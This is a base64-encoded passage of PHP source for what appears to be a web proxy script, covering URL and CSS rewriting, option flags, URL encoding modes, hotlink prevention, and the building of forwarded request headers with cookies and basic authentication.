biB0cnVlOw0KICAgIH0NCiAgICANCiAgICByZXR1cm4gZmFsc2U7DQp9DQoNCmZ1bmN0aW9uIGNvbXBsZXRlX3VybCgkdXJsLCAkcHJveGlmeSA9IHRydWUpDQp7DQogICAgJHVybCA9IHRyaW0oJHVybCk7DQogICAgDQogICAgaWYgKCR1cmwgPT09ICcnKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICcnOw0KICAgIH0NCiAgICANCiAgICAkaGFzaF9wb3MgPSBzdHJycG9zKCR1cmwsICcjJyk7DQogICAgJGZyYWdtZW50ID0gJGhhc2hfcG9zICE9PSBmYWxzZSA/ICcjJyAuIHN1YnN0cigkdXJsLCAkaGFzaF9wb3MpIDogJyc7DQogICAgJHNlcF9wb3MgID0gc3RycG9zKCR1cmwsICc6Ly8nKTsNCiAgICANCiAgICBpZiAoJHNlcF9wb3MgPT09IGZhbHNlIHx8ICRzZXBfcG9zID4gNSkNCiAgICB7DQogICAgICAgIHN3aXRjaCAoJHVybHswfSkNCiAgICAgICAgew0KICAgICAgICAgICAgY2FzZSAnLyc6DQogICAgICAgICAgICAgICAgJHVybCA9IHN1YnN0cigkdXJsLCAwLCAyKSA9PT0gJy8vJyA/ICRHTE9CQUxTWydfYmFzZSddWydzY2hlbWUnXSAuICc6JyAuICR1cmwgOiAkR0xPQkFMU1snX2Jhc2UnXVsnc2NoZW1lJ10gLiAnOi8vJyAuICRHTE9CQUxTWydfYmFzZSddWydob3N0J10gLiAkR0xPQkFMU1snX2Jhc2UnXVsncG9ydF9leHQnXSAuICR1cmw7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBjYXNlICc/JzoNCiAgICAgICAgICAgICAgICAkdXJsID0gJEdMT0JBTFNbJ19iYXNlJ11bJ2Jhc2UnXSAuICcvJyAuICRHTE9CQUxTWydfYmFzZSddWydmaWxlJ10gLiAkdXJsOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAnIyc6DQogICAgICAgICAgICAgICAgJHByb3hpZnkgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ20nOg0KICAgICAgICAgICAgICAgIGlmIChzdWJzdHIoJHVybCwgMCwgNykgPT0gJ21haWx0bzonKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHByb3hpZnkgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICAkdXJsID0gJEdMT0JBTFNbJ19iYXNlJ11bJ2Jhc2UnXSAuICcvJyAuICR1cmw7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICByZXR1cm4gJHByb3hpZnkgPyAieyRHTE9CQUxTWydfc2NyaXB0X3VybCddfT97JEdMT0JBTFNbJ19jb25maWcnXVsndXJsX3Zhcl9uYW1lJ119PSIgLiBlbmNvZGVfdXJsKCR1cmwpIC4gJGZyYWdtZW50IDogJHVybDsNCn0NCg0KZnVuY3Rpb24gcHJveGlmeV9pbmxpbmVfY3NzKCRjc3MpDQp7DQogICAgcHJlZ19tYXRjaF9hbGwoJyN1cmxccypcKFxzKigoW14pXSooXFxcKSkqW14pXSopKFwpfCQpPyNpJywgJGNzcywgJG1hdGNoZXMsIFBSRUdfU0VUX09SREVSKTsNCg0KICAgIGZvciAoJGkgPSAwLCAkY291bnQgPSBjb3VudCgkbWF0Y2hlcyk7ICRpIDwgJGNvdW50OyArKyRpKQ0KICAgIHsNCiAgICAgICAgJGNzcyA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWyRpXVswXSwgJ3VybCgnIC4gcHJveGlmeV9jc3NfdXJsKCRtYXRjaGVzWyRpXVsxXSkgLiAnKScsICRjc3MpOw0KICAgIH0NCiAgICANCiAgICByZXR1cm4gJGNzczsNCn0NCg0KZnVuY3Rpb24gcHJveGlmeV9jc3MoJGNzcykNCnsNCiAgICAkY3NzID0gcHJveGlmeV9pbmxpbmVfY3NzKCRjc3MpOw0KDQogICAgcHJlZ19tYXRjaF9hbGwoIiNAaW1wb3J0XHMqKD86XCIoW15cIj5dKilcIj98JyhbXic+XSopJz8pKFteO10qKSg7fCQpI2kiLCAkY3NzLCAkbWF0Y2hlcywgUFJFR19TRVRfT1JERVIpOw0KDQogICAgZm9yICgkaSA9IDAsICRjb3VudCA9IGNvdW50KCRtYXRjaGVzKTsgJGkgPCAkY291bnQ7ICsrJGkpDQogICAgew0KICAgICAgICAkZGVsaW0gPSAnIic7DQogICAgICAgICR1cmwgICA9ICRtYXRjaGVzWyRpXVsyXTsNCg0KICAgICAgICBpZiAoaXNzZXQoJG1hdGNoZXNbJGldWzNdKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJGRlbGltID0gIiciOw0KICAgICAgICAgICAgJHVybCA9ICRtYXRjaGVzWyRpXVszXTsNCiAgICAgICAgfQ0KDQogICAgICAgICRjc3MgPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1skaV1bMF0sICdAaW1wb3J0ICcgLiAkZGVsaW0gLiBwcm94aWZ5X2Nzc191cmwoJG1hdGNoZXNbJGldWzFdKSAuICRkZWxpbSAuIChpc3NldCgkbWF0Y2hlc1skaV1bNF0pID8gJG1hdGNoZXNbJGldWzRdIDogJycpLCAkY3NzKTsNCiAgICB9DQoNCiAgICByZXR1cm4gJGNzczsNCn0NCg0KZnVuY3Rpb24gcHJveGlmeV9jc3NfdXJsKCR1cmwpDQp7DQogICAgJHVybCAgID0gdHJpbSgkdXJsKTsNCiAgICAkZGVsaW0gPSBzdHJwb3MoJHVybCwgJyInKSA9PT0gMCA/ICciJyA6IChzdHJwb3MoJHVybCwgIiciKSA9PT0gMCA/ICInIiA6ICcnKTsNCg0KICAgIHJldHVybiAkZGVsaW0gLiBwcmVnX3JlcGxhY2UoJyMoW1woXCksXHNcJyJcXFxdKSMnLCAnXFwkMScsIGNvbXBsZXRlX3VybCh0cmltKHByZWdfcmVwbGFjZSgnI1xcXCguKSMnLCAnJDEnLCB0cmltKCR1cmwsICRkZWxpbSkpKSkpIC4gJGRlbGltOw0KfQ0KDQovLw0KLy8gU0VUIEZMQUdTDQovLw0KDQppZiAoaXNzZXQoJF9QT1NUWyRfY29uZmlnWyd1cmxfdmFyX25hbWUnXV0pICYmICFpc3NldCgkX0dFVFskX2NvbmZpZ1sndXJsX3Zhcl9uYW1lJ11dKSAmJiBpc3NldCgkX1BPU1RbJF9jb25maWdbJ2ZsYWdzX3Zhcl9uYW1lJ11dKSkNCnsgICAgDQogICAgZm9yZWFjaCAoJF9mbGFncyBhcyAkZmxhZ19uYW1lID0+ICRmbGFnX3ZhbHVlKQ0KICAgIHsNCiAgICAgICAgJF9pZmxhZ3MgLj0gaXNzZXQoJF9QT1NUWyRfY29uZmlnWydmbGFnc192YXJfbmFtZSddXVskZmxhZ19uYW1lXSkgPyAoc3RyaW5nKShpbnQpKGJvb2wpJF9QT1NUWyRfY29uZmlnWydmbGFnc192YXJfbmFtZSddXVskZmxhZ19uYW1lXSA6ICgkX2Zyb3plbl9mbGFnc1skZmxhZ19uYW1lXSA/ICRmbGFnX3ZhbHVlIDogJzAnKTsNCiAgICB9DQogICAgDQogICAgJF9pZmxhZ3MgPSBiYXNlX2NvbnZlcnQoKCRfaWZsYWdzICE9ICcnID8gJF9pZmxhZ3MgOiAnMCcpLCAyLCAxNik7DQp9DQplbHNlIGlmIChpc3NldCgkX0dFVFskX2NvbmZpZ1snZmxhZ3NfdmFyX25hbWUnXV0pICYmICFpc3NldCgkX0dFVFskX2NvbmZpZ1snZ2V0X2Zvcm1fbmFtZSddXSkgJiYgY3R5cGVfYWxudW0oJF9HRVRbJF9jb25maWdbJ2ZsYWdzX3Zhcl9uYW1lJ11dKSkNCnsNCiAgICAkX2lmbGFncyA9ICRfR0VUWyRfY29uZmlnWydmbGFnc192YXJfbmFtZSddXTsNCn0NCmVsc2UgaWYgKGlzc2V0KCRfQ09PS0lFWydmbGFncyddKSAmJiBjdHlwZV9hbG51bSgkX0NPT0tJRVsnZmxhZ3MnXSkpDQp7DQogICAgJF9pZmxhZ3MgPSAkX0NPT0tJRVsnZmxhZ3MnXTsNCn0NCg0KaWYgKCRfaWZsYWdzICE9PSAnJykNCnsNCiAgICAkX3NldF9jb29raWVbXSA9IGFkZF9jb29raWUoJ2ZsYWdzJywgJF9pZmxhZ3MsIHRpbWUoKSsyNDE5MjAwKTsNCiAgICAkX2lmbGFncyA9IHN0cl9wYWQoYmFzZV9jb252ZXJ0KCRfaWZsYWdzLCAxNiwgMiksIGNvdW50KCRfZmxhZ3MpLCAnMCcsIFNUUl9QQURfTEVGVCk7DQogICAgJGkgPSAwOw0KDQogICAgZm9yZWFjaCAoJF9mbGFncyBhcyAkZmxhZ19uYW1lID0+ICRmbGFnX3ZhbHVlKQ0KICAgIHsNCiAgICAgICAgJF9mbGFnc1skZmxhZ19uYW1lXSA9ICRfZnJvemVuX2ZsYWdzWyRmbGFnX25hbWVdID8gJGZsYWdfdmFsdWUgOiAoaW50KShib29sKSRfaWZsYWdzeyRpfTsNCiAgICAgICAgJGkrKzsNCiAgICB9DQp9DQoNCi8vDQovLyBERVRFUk1JTkUgVVJMLUVOQ09ESU5HIEJBU0VEIE9OIEZMQUdTDQovLw0KDQppZiAoJF9mbGFnc1sncm90YXRlMTMnXSkNCnsNCiAgICBmdW5jdGlvbiBlbmNvZGVfdXJsKCR1cmwpDQogICAgew0KICAgICAgICByZXR1cm4gcmF3dXJsZW5jb2RlKHN0cl9yb3QxMygkdXJsKSk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZV91cmwoJHVybCkNCiAgICB7DQogICAgICAgIHJldHVybiBzdHJfcmVwbGFjZShhcnJheSgnJmFtcDsnLCAnJiMzODsnKSwgJyYnLCBzdHJfcm90MTMocmF3dXJsZGVjb2RlKCR1cmwpKSk7DQogICAgfQ0KfQ0KZWxzZSBpZiAoJF9mbGFnc1snYmFzZTY0X2VuY29kZSddKQ0Kew0KICAgIGZ1bmN0aW9uIGVuY29kZV91cmwoJHVybCkNCiAgICB7DQogICAgICAgIHJldHVybiByYXd1cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkdXJsKSk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZV91cmwoJHVybCkNCiAgICB7DQogICAgICAgIHJldHVybiBzdHJfcmVwbGFjZShhcnJheSgnJmFtcDsnLCAnJiMzODsnKSwgJyYnLCBiYXNlNjRfZGVjb2RlKHJhd3VybGRlY29kZSgkdXJsKSkpOw0KICAgIH0NCn0NCmVsc2UNCnsNCiAgICBmdW5jdGlvbiBlbmNvZGVfdXJsKCR1cmwpDQogICAgew0KICAgICAgICByZXR1cm4gcmF3dXJsZW5jb2RlKCR1cmwpOw0KICAgIH0NCiAgICBmdW5jdGlvbiBkZWNvZGVfdXJsKCR1cmwpDQogICAgew0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoYXJyYXkoJyZhbXA7JywgJyYjMzg7JyksICcmJywgcmF3dXJsZGVjb2RlKCR1cmwpKTsNCiAgICB9DQp9DQoNCi8vDQovLyBDT01QUkVTUyBPVVRQVVQgSUYgSU5TVFJVQ1RFRA0KLy8NCg0KaWYgKCRfY29uZmlnWydjb21wcmVzc19vdXRwdXQnXSAmJiAkX3N5c3RlbVsnZ3ppcCddKQ0Kew0KICAgIG9iX3N0YXJ0KCdvYl9nemhhbmRsZXInKTsNCn0NCg0KLy8NCi8vIFNUUklQIFNMQVNIRVMgRlJPTSBHUEMgSUYgTkVDRVNTQVJZDQovLw0KDQppZiAoJF9zeXN0ZW1bJ3N0cmlwc2xhc2hlcyddKQ0Kew0KICAgIGZ1bmN0aW9uIF9zdHJpcHNsYXNoZXMoJHZhbHVlKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuIGlzX2FycmF5KCR2YWx1ZSkgPyBhcnJheV9tYXAoJ19zdHJpcHNsYXNoZXMnLCAkdmFsdWUpIDogKGlzX3N0cmluZygkdmFsdWUpID8gc3RyaXBzbGFzaGVzKCR2YWx1ZSkgOiAkdmFsdWUpOw0KICAgIH0NCiAgICANCiAgICAkX0dFVCAgICA9IF9zdHJpcHNsYXNoZXMoJF9HRVQpOw0KICAgICRfUE9TVCAgID0gX3N0cmlwc2xhc2hlcygkX1BPU1QpOw0KICAgICRfQ09PS0lFID0gX3N0cmlwc2xhc2hlcygkX0NPT0tJRSk7DQp9DQoNCi8vDQovLyBGSUdVUkUgT1VUIFdIQVQgVE8gRE8gKFBPU1QgVVJMLWZvcm0gc3VibWl0LCBHRVQgZm9ybSByZXF1ZXN0LCByZWd1bGFyIHJlcXVlc3QsIGJhc2ljIGF1dGgsIGNvb2tpZSBtYW5hZ2VyLCBzaG93IFVSTC1mb3JtKQ0KLy8NCg0KaWYgKGlzc2V0KCRfUE9TVFskX2NvbmZpZ1sndXJsX3Zhcl9uYW1lJ11dKSAmJiAhaXNzZXQoJF9HRVRbJF9jb25maWdbJ3VybF92YXJfbmFtZSddXSkpDQp7ICAgDQogICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRfc2NyaXB0X3VybCAuICc/JyAuICRfY29uZmlnWyd1cmxfdmFyX25hbWUnXSAuICc9JyAuIGVuY29kZV91cmwoJF9QT1NUWyRfY29uZmlnWyd1cmxfdmFyX25hbWUnXV0pIC4gJyYnIC4gJF9jb25maWdbJ2ZsYWdzX3Zhcl9uYW1lJ10gLiAnPScgLiBiYXNlX2NvbnZlcnQoJF9pZmxhZ3MsIDIsIDE2KSk7DQogICAgZXhpdCgwKTsNCn0NCg0KaWYgKGlzc2V0KCRfR0VUWyRfY29uZmlnWydnZXRfZm9ybV9uYW1lJ11dKSkNCnsNCiAgICAkX3VybCAgPSBkZWNvZGVfdXJsKCRfR0VUWyRfY29uZmlnWydnZXRfZm9ybV9uYW1lJ11dKTsNCiAgICAkcXN0ciA9IHN0cnBvcygkX3VybCwgJz8nKSAhPT0gZmFsc2UgPyAoc3RycG9zKCRfdXJsLCAnPycpID09PSBzdHJsZW4oJF91cmwpLTEgPyAnJyA6ICcmJykgOiAnPyc7DQogICAgJGFyciAgPSBleHBsb2RlKCcmJywgJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddKTsNCiAgICANCiAgICBpZiAocHJlZ19tYXRjaCgnI15cUScgLiAkX2NvbmZpZ1snZ2V0X2Zvcm1fbmFtZSddIC4gJ1xFIycsICRhcnJbMF0pKQ0KICAgIHsNCiAgICAgICAgYXJyYXlfc2hpZnQoJGFycik7DQogICAgfQ0KICAgIA0KICAgICRfdXJsIC49ICRxc3RyIC4gaW1wbG9kZSgnJicsICRhcnIpOw0KfQ0KZWxzZSBpZiAoaXNzZXQoJF9HRVRbJF9jb25maWdbJ3VybF92YXJfbmFtZSddXSkpDQp7DQogICAgJF91cmwgPSBkZWNvZGVfdXJsKCRfR0VUWyRfY29uZmlnWyd1cmxfdmFyX25hbWUnXV0pOw0KfQ0KZWxzZSBpZiAoaXNzZXQoJF9HRVRbJ2FjdGlvbiddKSAmJiAkX0dFVFsnYWN0aW9uJ10gPT0gJ2Nvb2tpZXMnKQ0Kew0KICAgIHNob3dfcmVwb3J0KGFycmF5KCd3aGljaCcgPT4gJ2Nvb2tpZXMnKSk7DQp9DQplbHNlDQp7DQogICAgc2hvd19yZXBvcnQoYXJyYXkoJ3doaWNoJyA9PiAnaW5kZXgnLCAnY2F0ZWdvcnknID0+ICdlbnRyeV9mb3JtJykpOw0KfQ0KDQppZiAoaXNzZXQoJF9HRVRbJF9jb25maWdbJ3VybF92YXJfbmFtZSddXSwgJF9QT1NUWyRfY29uZmlnWydiYXNpY19hdXRoX3Zhcl9uYW1lJ11dLCAkX1BPU1RbJ3VzZXJuYW1lJ10sICRfUE9TVFsncGFzc3dvcmQnXSkpDQp7DQogICAgJF9yZXF1ZXN0X21ldGhvZCAgICA9ICdHRVQnOw0KICAgICRfYmFzaWNfYXV0aF9yZWFsbSAgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFskX2NvbmZpZ1snYmFzaWNfYXV0aF92YXJfbmFtZSddXSk7DQogICAgJF9iYXNpY19hdXRoX2hlYWRlciA9IGJhc2U2NF9lbmNvZGUoJF9QT1NUWyd1c2VybmFtZSddIC4gJzonIC4gJF9QT1NUWydwYXNzd29yZCddKTsNCn0NCg0KLy8NCi8vIFNFVCBVUkwNCi8vDQoNCmlmIChzdHJwb3MoJF91cmwsICc6Ly8nKSA9PT0gZmFsc2UpDQp7DQogICAgJF91cmwgPSAnaHR0cDovLycgLiAkX3VybDsNCn0NCg0KaWYgKHVybF9wYXJzZSgkX3VybCwgJF91cmxfcGFydHMpKQ0Kew0KICAgICRfYmFzZSA9ICRfdXJsX3BhcnRzOw0KICAgIA0KICAgIGlmICghZW1wdHkoJF9ob3N0cykpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX2hvc3RzIGFzICRob3N0KQ0KICAgICAgICB7DQogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgkaG9zdCwgJF91cmxfcGFydHNbJ2hvc3QnXSkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgc2hvd19yZXBvcnQoYXJyYXkoJ3doaWNoJyA9PiAnaW5kZXgnLCAnY2F0ZWdvcnknID0+ICdlcnJvcicsICdncm91cCcgPT4gJ3VybCcsICd0eXBlJyA9PiAnZXh0ZXJuYWwnLCAnZXJyb3InID0+IDEpKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCn0NCmVsc2UNCnsNCiAgICBzaG93X3JlcG9ydChhcnJheSgnd2hpY2gnID0+ICdpbmRleCcsICdjYXRlZ29yeScgPT4gJ2Vycm9yJywgJ2dyb3VwJyA9PiAndXJsJywgJ3R5cGUnID0+ICdleHRlcm5hbCcsICdlcnJvcicgPT4gMikpOw0KfQ0KDQovLw0KLy8gSE9UTElOS0lORyBQUkVWRU5USU9ODQovLw0KDQppZiAoISRfY29uZmlnWydhbGxvd19ob3RsaW5raW5nJ10gJiYgaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkNCnsNCiAgICAkX2hvdGxpbmtfZG9tYWluc1tdID0gJF9odHRwX2hvc3Q7DQogICAgJGlzX2hvdGxpbmtpbmcgICAgICA9IHRydWU7DQogICAgDQogICAgZm9yZWFjaCAoJF9ob3RsaW5rX2RvbWFpbnMgYXMgJGhvc3QpDQogICAgew0KICAgICAgICBpZiAocHJlZ19tYXRjaCgnI15odHRwcz9cOlwvXC8od3d3KT9cUScgLiAkaG9zdCAgLiAnXEUoXC98XDp8JCkjaScsIHRyaW0oJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICRpc19ob3RsaW5raW5nID0gZmFsc2U7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICBpZiAoJGlzX2hvdGxpbmtpbmcpDQogICAgew0KICAgICAgICBzd2l0Y2ggKCRfY29uZmlnWyd1cG9uX2hvdGxpbmsnXSkNCiAgICAgICAgew0KICAgICAgICAgICAgY2FzZSAxOg0KICAgICAgICAgICAgICAgIHNob3dfcmVwb3J0KGFycmF5KCd3aGljaCcgPT4gJ2luZGV4JywgJ2NhdGVnb3J5JyA9PiAnZXJyb3InLCAnZ3JvdXAnID0+ICdyZXNvdXJjZScsICd0eXBlJyA9PiAnaG90bGlua2luZycpKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgMjoNCiAgICAgICAgICAgICAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsNCiAgICAgICAgICAgICAgICBleGl0KDApOw0KICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJF9jb25maWdbJ3Vwb25faG90bGluayddKTsNCiAgICAgICAgICAgICAgICBleGl0KDApOw0KICAgICAgICB9DQogICAgfQ0KfQ0KIA0KLy8NCi8vIE9QRU4gU09DS0VUIFRPIFNFUlZFUg0KLy8NCg0KZG8NCnsNCiAgICAkX3JldHJ5ICA9IGZhbHNlOw0KICAgICRfc29ja2V0ID0gQGZzb2Nrb3BlbigoJF91cmxfcGFydHNbJ3NjaGVtZSddID09PSAnaHR0cHMnICYmICRfc3lzdGVtWydzc2wnXSA/ICdzc2w6Ly8nIDogJ3RjcDovLycpIC4gJF91cmxfcGFydHNbJ2hvc3QnXSwgJF91cmxfcGFydHNbJ3BvcnQnXSwgJGVycl9ubywgJGVycl9zdHIsIDMwKTsNCg0KICAgIGlmICgkX3NvY2tldCA9PT0gZmFsc2UpDQogICAgew0KICAgICAgICBzaG93X3JlcG9ydChhcnJheSgnd2hpY2gnID0+ICdpbmRleCcsICdjYXRlZ29yeScgPT4gJ2Vycm9yJywgJ2dyb3VwJyA9PiAndXJsJywgJ3R5cGUnID0+ICdpbnRlcm5hbCcsICdlcnJvcicgPT4gJGVycl9ubykpOw0KICAgIH0NCg0KICAgIC8vDQogICAgLy8gU0VUIFJFUVVFU1QgSEVBREVSUw0KICAgIC8vDQoNCiAgICAkX3JlcXVlc3RfaGVhZGVycyAgPSAkX3JlcXVlc3RfbWV0aG9kIC4gJyAnIC4gJF91cmxfcGFydHNbJ3BhdGgnXTsNCg0KICAgIGlmIChpc3NldCgkX3VybF9wYXJ0c1sncXVlcnknXSkpDQogICAgew0KICAgICAgICAkX3JlcXVlc3RfaGVhZGVycyAuPSAnPyc7DQogICAgICAgICRxdWVyeSA9IHByZWdfc3BsaXQoJyMoWyY7XSkjJywgJF91cmxfcGFydHNbJ3F1ZXJ5J10sIC0xLCBQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KICAgICAgICBmb3IgKCRpID0gMCwgJGNvdW50ID0gY291bnQoJHF1ZXJ5KTsgJGkgPCAkY291bnQ7ICRfcmVxdWVzdF9oZWFkZXJzIC49IGltcGxvZGUoJz0nLCBhcnJheV9tYXAoJ3VybGVuY29kZScsIGFycmF5X21hcCgndXJsZGVjb2RlJywgZXhwbG9kZSgnPScsICRxdWVyeVskaV0pKSkpIC4gKGlzc2V0KCRxdWVyeVsrKyRpXSkgPyAkcXVlcnlbJGldIDogJycpLCAkaSsrKTsNCiAgICB9DQoNCiAgICAkX3JlcXVlc3RfaGVhZGVycyAuPSAiIEhUVFAvMS4wXHJcbiI7DQogICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gJ0hvc3Q6ICcgLiAkX3VybF9wYXJ0c1snaG9zdCddIC4gJF91cmxfcGFydHNbJ3BvcnRfZXh0J10gLiAiXHJcbiI7DQoNCiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkNCiAgICB7DQogICAgICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICdVc2VyLUFnZW50OiAnIC4gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddIC4gIlxyXG4iOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUJ10pKQ0KICAgIHsNCiAgICAgICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gJ0FjY2VwdDogJyAuICRfU0VSVkVSWydIVFRQX0FDQ0VQVCddIC4gIlxyXG4iOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICAkX3JlcXVlc3RfaGVhZGVycyAuPSAiQWNjZXB0OiAqLyo7cT0wLjFcclxuIjsNCiAgICB9DQogICAgaWYgKCRfZmxhZ3NbJ3Nob3dfcmVmZXJlciddICYmIGlzc2V0KCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSkgJiYgcHJlZ19tYXRjaCgnI15cUScgLiAkX3NjcmlwdF91cmwgLiAnPycgLiAkX2NvbmZpZ1sndXJsX3Zhcl9uYW1lJ10gLiAnPVxFKFteJl0rKSMnLCAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10sICRtYXRjaGVzKSkNCiAgICB7DQogICAgICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICdSZWZlcmVyOiAnIC4gZGVjb2RlX3VybCgkbWF0Y2hlc1sxXSkgLiAiXHJcbiI7DQogICAgfQ0KICAgIGlmICghZW1wdHkoJF9DT09LSUUpKQ0KICAgIHsNCiAgICAgICAgJF9jb29raWUgID0gJyc7DQogICAgICAgICRfYXV0aF9jcmVkcyAgICA9IGFycmF5KCk7DQogICAgDQogICAgICAgIGZvcmVhY2ggKCRfQ09PS0lFIGFzICRjb29raWVfaWQgPT4gJGNvb2tpZV9jb250ZW50KQ0KICAgICAgICB7DQogICAgICAgICAgICAkY29va2llX2lkICAgICAgPSBleHBsb2RlKCc7JywgcmF3dXJsZGVjb2RlKCRjb29raWVfaWQpKTsNCiAgICAgICAgICAgICRjb29raWVfY29udGVudCA9IGV4cGxvZGUoJzsnLCByYXd1cmxkZWNvZGUoJGNvb2tpZV9jb250ZW50KSk7DQogICAgDQogICAgICAgICAgICBpZiAoJGNvb2tpZV9pZFswXSA9PT0gJ0NPT0tJRScpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGNvb2tpZV9pZFszXSA9IHN0cl9yZXBsYWNlKCdfJywgJy4nLCAkY29va2llX2lkWzNdKTsgLy9zdHVwaWQgUEhQIGNhbid0IGhhdmUgZG90cyBpbiB2YXIgbmFtZXMNCg0KICAgICAgICAgICAgICAgIGlmIChjb3VudCgkY29va2llX2lkKSA8IDQgfHwgKCRjb29raWVfY29udGVudFsxXSA9PSAnc2VjdXJlJyAmJiAkX3VybF9wYXJ0c1snc2NoZW1lJ10gIT0gJ2h0dHBzJykpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgICAgICB9DQogICAgDQogICAgICAgICAgICAgICAgaWYgKChwcmVnX21hdGNoKCcjXFEnIC4gJGNvb2tpZV9pZFszXSAuICdcRSQjaScsICRfdXJsX3BhcnRzWydob3N0J10pIHx8IHN0cnRvbG93ZXIoJGNvb2tpZV9pZFszXSkgPT0gc3RydG9sb3dlcignLicgLiAkX3VybF9wYXJ0c1snaG9zdCddKSkgJiYgcHJlZ19tYXRjaCgnI15cUScgLiAkY29va2llX2lkWzJdIC4gJ1xFIycsICRfdXJsX3BhcnRzWydwYXRoJ10pKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJF9jb29raWUgLj0gKCRfY29va2llICE9ICcnID8gJzsgJyA6ICcnKSAuIChlbXB0eSgkY29va2llX2lkWzFdKSA/ICcnIDogJGNvb2tpZV9pZFsxXSAuICc9JykgLiAkY29va2llX2NvbnRlbnRbMF07DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZSBpZiAoJGNvb2tpZV9pZFswXSA9PT0gJ0FVVEgnICYmIGNvdW50KCRjb29raWVfaWQpID09PSAzKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRjb29raWVfaWRbMl0gPSBzdHJfcmVwbGFjZSgnXycsICcuJywgJGNvb2tpZV9pZFsyXSk7DQoNCiAgICAgICAgICAgICAgICBpZiAoJF91cmxfcGFydHNbJ2hvc3QnXSAuICc6JyAuICRfdXJsX3BhcnRzWydwb3J0J10gPT09ICRjb29raWVfaWRbMl0pDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkX2F1dGhfY3JlZHNbJGNvb2tpZV9pZFsxXV0gPSAkY29va2llX2NvbnRlbnRbMF07DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBpZiAoJF9jb29raWUgIT0gJycpDQogICAgICAgIHsNCiAgICAgICAgICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICJDb29raWU6ICRfY29va2llXHJcbiI7DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKGlzc2V0KCRfdXJsX3BhcnRzWyd1c2VyJ10sICRfdXJsX3BhcnRzWydwYXNzJ10pKQ0KICAgIHsNCiAgICAgICAgJF9iYXNpY19hdXRoX2hlYWRlciA9IGJhc2U2NF9lbmNvZGUoJF91cmxfcGFydHNbJ3VzZXInXSAuICc6JyAuICRfdXJsX3BhcnRzWydwYXNzJ10pOw0KICAgIH0NCiAgICBpZiAoIWVtcHR5KCRfYmFzaWNfYXV0aF9oZWFkZXIpKQ0KICAgIHsNCiAgICAgICAgJF9zZXRfY29va2llW10gPSBhZGRfY29va2llKCJBVVRIO3skX2Jhc2ljX2F1dGhfcmVhbG19O3skX3VybF9wYXJ0c1snaG9zdCddfTp7JF91cmxfcGFydHNbJ3BvcnQnXX0iLCAkX2Jhc2ljX2F1dGhfaGVhZGVyKTsNCiAgICAgICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gIkF1dGhvcml6YXRpb246IEJhc2ljIHskX2Jhc2ljX2F1dGhfaGVhZGVyfVxyXG4iOw0KICAgIH0NCiAgICBlbHNlIGlmICghZW1wdHkoJF9iYXNpY19hdXRoX3JlYWxtKSAmJiBpc3NldCgkX2F1dGhfY3JlZHNbJF9iYXNpY19hdXRoX3JlYWxtXSkpDQogICAgew0KICAgICAgICAkX3JlcXVlc3RfaGVhZGVycyAgLj0gIkF1dGhvcml6YXRpb246IEJhc2ljIHskX2F1dGhfY3JlZHNbJF9iYXNpY19hdXRoX3JlYW